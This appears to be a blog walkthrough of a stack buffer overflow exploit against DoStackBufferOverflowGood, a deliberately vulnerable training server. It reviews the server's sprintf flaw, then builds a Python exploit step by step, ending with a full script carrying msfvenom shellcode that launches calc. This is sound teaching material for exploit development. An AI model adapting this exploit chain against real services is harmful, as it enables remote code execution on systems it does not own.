Luckily for us, we have access to the source code of the program so let us review what is going on.
The main function is initializing a socket, setting up TCP, and kicks off an infinite loop which will then listen for connections and handle connections by calling handleConnection()
// Initialize Winsock WSADATA wsaData = { 0 };int result =WSAStartup(MAKEWORD(2,2),&wsaData);if (result !=0) {printf("WSAStartup failed: %d\n", result);return-1; }//// Code Snipped//// Setup the TCP listening socketif ((bind(listenSocket, ainfo->ai_addr, (int)ainfo->ai_addrlen)) == SOCKET_ERROR) {printf("bind() failed with error: %d\n", WSAGetLastError());freeaddrinfo(ainfo);closesocket(listenSocket);WSACleanup();return-1; }freeaddrinfo(ainfo);//// Code Snipped//// [+] handle connections// borrowed from http://stackoverflow.com/a/15185627while (1) {// Accept a connection SOCKET clientSocket;if ((clientSocket =accept(listenSocket,NULL,NULL)) == INVALID_SOCKET) {printf("accept failed: %d\n", WSAGetLastError());continue; }printf("Received connection from remote host.\n");// Create a thread to handle the connection// Pass connection to handleConnection()_beginthread(&handleConnection,0, (void*)clientSocket);printf("Connection handed off to handler thread.\n"); }c
handleConnection() will read data sent by a client over the network and store it within recvbuf. Which will then call doResponse()
void __cdecl handleConnection(void*param) { SOCKET clientSocket = (SOCKET)param;// Receive until the peer shuts down the connection// recv spooling borrowed from http://stackoverflow.com/a/6090610// in a loop, we recv() off the network, handle complete lines, then shift the remainder downchar recvbuf[RECVBUFSIZE] = { '\0' }; // RECVBUFSIZE = 58623size_t recvbufUsed =0;constchar* msgPleaseSendShorterLines ="Please send shorter lines.";constchar* msgBye ="Bye!";while (1) {//// Code Snipped//// starting at recvbuf[0] look for newlines, pass each found line off to doResponse()char*line_start = recvbuf;char*line_end;while ((line_end = (char*)memchr((void*)line_start,'\n', recvbufUsed - (line_start - recvbuf))) !=0) {// we found a line// null-terminate it*line_end ='\0';// if the user is done with us, disconnect themif (strcmp(line_start,"exit")==0) {printf("Client requested exit.\n");send(clientSocket, msgBye, strlen(msgBye),0);closesocket(clientSocket);return; }// process the linedoResponse(clientSocket, line_start);//// Code Snipped// }closesocket(clientSocket);return;}
doResponse calls sprintf() to build a response to be sent to the client. sprintf() is where our vulnerability occurs. After the call to sprintf() it will store the result in response which has only been allocated 128 characters. However, the recvbuf is able to store up to 58,000 characters. By sending more than 128 characters in our response we should induce a stack buffer overflow
int __cdecl doResponse(SOCKET clientSocket,char*clientName) {char response[128];// Build response// Vulnerability lies heresprintf(response,"Hello %s!!!\n", clientName);// Send response to the clientint result =send(clientSocket, response, strlen(response),0);if (result == SOCKET_ERROR) {printf("send failed: %d\n", WSAGetLastError());closesocket(clientSocket);return-1; }printf("Bytes sent: %d\n", result);return0;
With this information, we can create a basic exploit code to reliably crash our application. Here is what it would look like:
import socket server ='127.0.0.1'port =31337# Response that is sent to the serverpayload =b"A"*150# Creates sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# Makes connection to the serverconnect = s.connect((server, port))# Sends payload to the servers.send(payload +b'\r\n')# Prints the returned response from serverprint(s.recv(1024))# Closes the connection to the servers.close()
Before I ran my exploit code I attached WinDbg to the process to catch the exception as you can see by WinDbg did indeed catch an exception Access Violation
This tells us some important information such; as we can over-write EIP & EBP. Our next goal will be to determine where within our junk data EIP is over-written.
Finding EIP
To find where EIP is over-written in our junk data we can use mona! The command we'll be using is
!py mona pattern_create <size of pattern>
In our case it will look like this:
!py mona pattern_create 150
The output should look like this:
In red is our cyclic pattern that was generated. It is best to copy the pattern from a text file and not from the command output as truncation is possible.
With this pattern we can slap this in our exploit code, so now our code should look like this:
import socket server ='127.0.0.1'port =31337# Response that is sent to the server# Cyclic pattern generated by monapayload =b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9"# Creates sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# Makes connection to the serverconnect = s.connect((server, port))# Sends payload to the servers.send(payload +b'\r\n')# Prints the returned response from serverprint(s.recv(1024))# Closes the connection to the servers.close()
Restart our application and attach your debugger of choice. Once attached run your exploit code and check the value contained within EIP. This will be important for us to learn at what byte is EIP being over-written.
We can the value contained within EIP is:
39654138
We can take this value and use mona once again to determine the offset at which this byte sequence occurs. The command will look like so:
!py mona pattern_offset <value>
In our case it will look like this:
!py mona pattern_offset 39654138
This is telling us that position 147 is where we begin to over-write the EIP register. We can test this in our exploit code like so:
import socket server ='127.0.0.1'port =31337# Response that is sent to the server# Junk data holding 146 characterspayload =""junk =b"A"*146# EIP should hold the value 0x42 or BBBBeip =b"B"*4payload += junk + eip# Creates sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# Makes connection to the serverconnect = s.connect((server, port))# Sends payload to the servers.send(payload +b'\r\n')# Prints the returned response from the serverprint(s.recv(1024))# Closes the connection to the servers.close()
Re-running our application and our exploit and looking at our debugger we should see this:
We now know at what position EIP is over-written. We now need to find a JMP ESP within our application and use that address so that we can jump to the stack which is where our shellcode will be located.
Jumping to The Stack
Again to find the opcodes JMP ESP we can use mona with the following command:
!py mona jmp -r esp
The output will look like so:
This returns two results, we can choose either address I will be using the first one.
One thing to remember when entering this address in your exploit code we need to know about little-endian. This will require us to enter our address backward.
If our address is 0x080414c3 in little-endian it will look like this:
0xc3 0x14 0x04 0x08
We can now update our exploit code to look like so:
import socket server ='127.0.0.1'port =31337# Response that is sent to the server# Junk data holding 146 characterspayload =b""junk =b"A"*146# Address of opcodes JMP ESPeip =b"\xc3\x14\x04\x08"# Breakpoint to verify that EIP was over-written properlybp =b"\xcc"payload += junk + eip + bp# Creates sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# Makes connection to the serverconnect = s.connect((server, port))# Sends payload to the servers.send(payload +b'\r\n')# Prints the returned response from the serverprint(s.recv(1024))# Closes the connection to the servers.close()
If we now restart our application and run our exploit code again this time instead of getting an access violation error we should hit our breakpoint!
We can see our breakpoint was successfully hit! One last thing we need to do before we add our shellcode and that is to verify bad characters. This is the process of checking all possible byte characters for characters that truncate or in some way mangle our shellcode.
Finding Bad Characters
Once again we can use mona to save us some time. Using the following command we can generate a byte array containing all possible byte characters.
!py mona bytearray
We can take this byte array and place it within our exploit code like so:
import socket server ='127.0.0.1'port =31337# Response that is sent to the server# Junk data holding 146 characterspayload =b""junk =b"A"*146# Address of opcodes JMP ESPeip =b"\xc3\x14\x04\x08"# Breakpoint to verify that EIP was over-written properlybp =b"\xcc"bad_chars = (b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")payload += junk + eip + bp + bad_chars# Creates sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# Makes connection to the serverconnect = s.connect((server, port))# Sends payload to the servers.send(payload +b'\r\n')# Prints the returned response from the serverprint(s.recv(1024))# Closes the connection to the servers.close()
Re-running our code and looking at the virtual memory of ESP we can see the following:
In the blue box, we can see our address which we over-wrote. Below that we can see \xcc which is our breakpoint however, we do not see our expected byte array. This means that our code was mangled due to a bad character. If this is the case the last byte that is shown as the next byte in the array is considered a bad byte. In this scenario the byte \x00 is bad.
If we update our exploit code and run it again we should see this:
Again in our blue box, we can see the address we wrote into EIP. Then \xcc is our breakpoint. Then finally, we see our byte array however not the entire array. If we look at the array the last byte shown is \x09 which means the byte \x0a is considered a bad character. (As you can see this is an iterative process). Updating our exploit code to also remove \x0a and run our exploit again we see this:
We can now see our entire byte array which means we have found all the bad characters. We can now finally generate our shellcode and fully exploit this application.
Generating Shellcode
For generating shellcode I am going to use msfvenom the tried and true!
After generated we can add it to our exploit code. Our final exploit should look like this:
import socket server ='127.0.0.1'port =31337# msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0a' -f pyshellcode =b""shellcode +=b"\xda\xd8\xb8\xbf\xf4\x88\x8c\xd9\x74\x24\xf4\x5a\x31"shellcode +=b"\xc9\xb1\x31\x83\xc2\x04\x31\x42\x14\x03\x42\xab\x16"shellcode +=b"\x7d\x70\x3b\x54\x7e\x89\xbb\x39\xf6\x6c\x8a\x79\x6c"shellcode +=b"\xe4\xbc\x49\xe6\xa8\x30\x21\xaa\x58\xc3\x47\x63\x6e"shellcode +=b"\x64\xed\x55\x41\x75\x5e\xa5\xc0\xf5\x9d\xfa\x22\xc4"shellcode +=b"\x6d\x0f\x22\x01\x93\xe2\x76\xda\xdf\x51\x67\x6f\x95"shellcode +=b"\x69\x0c\x23\x3b\xea\xf1\xf3\x3a\xdb\xa7\x88\x64\xfb"shellcode +=b"\x46\x5d\x1d\xb2\x50\x82\x18\x0c\xea\x70\xd6\x8f\x3a"shellcode +=b"\x49\x17\x23\x03\x66\xea\x3d\x43\x40\x15\x48\xbd\xb3"shellcode +=b"\xa8\x4b\x7a\xce\x76\xd9\x99\x68\xfc\x79\x46\x89\xd1"shellcode +=b"\x1c\x0d\x85\x9e\x6b\x49\x89\x21\xbf\xe1\xb5\xaa\x3e"shellcode +=b"\x26\x3c\xe8\x64\xe2\x65\xaa\x05\xb3\xc3\x1d\x39\xa3"shellcode +=b"\xac\xc2\x9f\xaf\x40\x16\x92\xed\x0e\xe9\x20\x88\x7c"shellcode +=b"\xe9\x3a\x93\xd0\x82\x0b\x18\xbf\xd5\x93\xcb\x84\x2a"shellcode +=b"\xde\x56\xac\xa2\x87\x02\xed\xae\x37\xf9\x31\xd7\xbb"shellcode +=b"\x08\xc9\x2c\xa3\x78\xcc\x69\x63\x90\xbc\xe2\x06\x96"shellcode +=b"\x13\x02\x03\xf5\xf2\x90\xcf\xd4\x91\x10\x75\x29"# Response that is sent to the server# Junk data holding 146 characterspayload =b""junk =b"A"*146# Address of opcodes JMP ESPeip =b"\xc3\x14\x04\x08"# Breakpoint to verify that EIP was over-written properlybp =b"\xcc"# No operation opcode used for stability nop =b"\x90"*20# Final payloadpayload += junk + eip + bp + nop + shellcode# Creates sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# Makes connection to the serverconnect = s.connect((server, port))# Sends payload to the servers.send(payload +b'\r\n')# Prints the returned response from the serverprint(s.recv(1024))# Closes the connection to the servers.close()
Re-running our final exploit we should hit our breakpoint and see this:
In the blue box, we can see our breakpoint along with our NOP Sled. After which is our calc shellcode. If we continue execution calc should pop up!
Final Exploit Code
import socket
server = '127.0.0.1'
port = 31337
# msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0a' -f py
shellcode = b""
shellcode += b"\xda\xd8\xb8\xbf\xf4\x88\x8c\xd9\x74\x24\xf4\x5a\x31"
shellcode += b"\xc9\xb1\x31\x83\xc2\x04\x31\x42\x14\x03\x42\xab\x16"
shellcode += b"\x7d\x70\x3b\x54\x7e\x89\xbb\x39\xf6\x6c\x8a\x79\x6c"
shellcode += b"\xe4\xbc\x49\xe6\xa8\x30\x21\xaa\x58\xc3\x47\x63\x6e"
shellcode += b"\x64\xed\x55\x41\x75\x5e\xa5\xc0\xf5\x9d\xfa\x22\xc4"
shellcode += b"\x6d\x0f\x22\x01\x93\xe2\x76\xda\xdf\x51\x67\x6f\x95"
shellcode += b"\x69\x0c\x23\x3b\xea\xf1\xf3\x3a\xdb\xa7\x88\x64\xfb"
shellcode += b"\x46\x5d\x1d\xb2\x50\x82\x18\x0c\xea\x70\xd6\x8f\x3a"
shellcode += b"\x49\x17\x23\x03\x66\xea\x3d\x43\x40\x15\x48\xbd\xb3"
shellcode += b"\xa8\x4b\x7a\xce\x76\xd9\x99\x68\xfc\x79\x46\x89\xd1"
shellcode += b"\x1c\x0d\x85\x9e\x6b\x49\x89\x21\xbf\xe1\xb5\xaa\x3e"
shellcode += b"\x26\x3c\xe8\x64\xe2\x65\xaa\x05\xb3\xc3\x1d\x39\xa3"
shellcode += b"\xac\xc2\x9f\xaf\x40\x16\x92\xed\x0e\xe9\x20\x88\x7c"
shellcode += b"\xe9\x3a\x93\xd0\x82\x0b\x18\xbf\xd5\x93\xcb\x84\x2a"
shellcode += b"\xde\x56\xac\xa2\x87\x02\xed\xae\x37\xf9\x31\xd7\xbb"
shellcode += b"\x08\xc9\x2c\xa3\x78\xcc\x69\x63\x90\xbc\xe2\x06\x96"
shellcode += b"\x13\x02\x03\xf5\xf2\x90\xcf\xd4\x91\x10\x75\x29"
# Response that is sent to the server
# Junk data holding 146 characters
payload = b""
junk = b"A" * 146
# Address of opcodes JMP ESP
eip = b"\xc3\x14\x04\x08"
# Breakpoint to verify that EIP was over-written properly
# bp = b"\xcc"
# No operation opcode used for stability
nop = b"\x90" * 20
# Final payload
payload += junk + eip + nop + shellcode
# Creates socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Makes connection to the server
connect = s.connect((server, port))
# Sends payload to the server
s.send(payload + b'\r\n')
# Prints the returned response from the server
print(s.recv(1024))
# Closes the connection to the server
s.close()
Hope you enjoyed the walkthrough of exploiting DoStackBufferOverflowGood. Again thank you @justinsteven
Also, check out my GitHub and other blog posts for more content and information!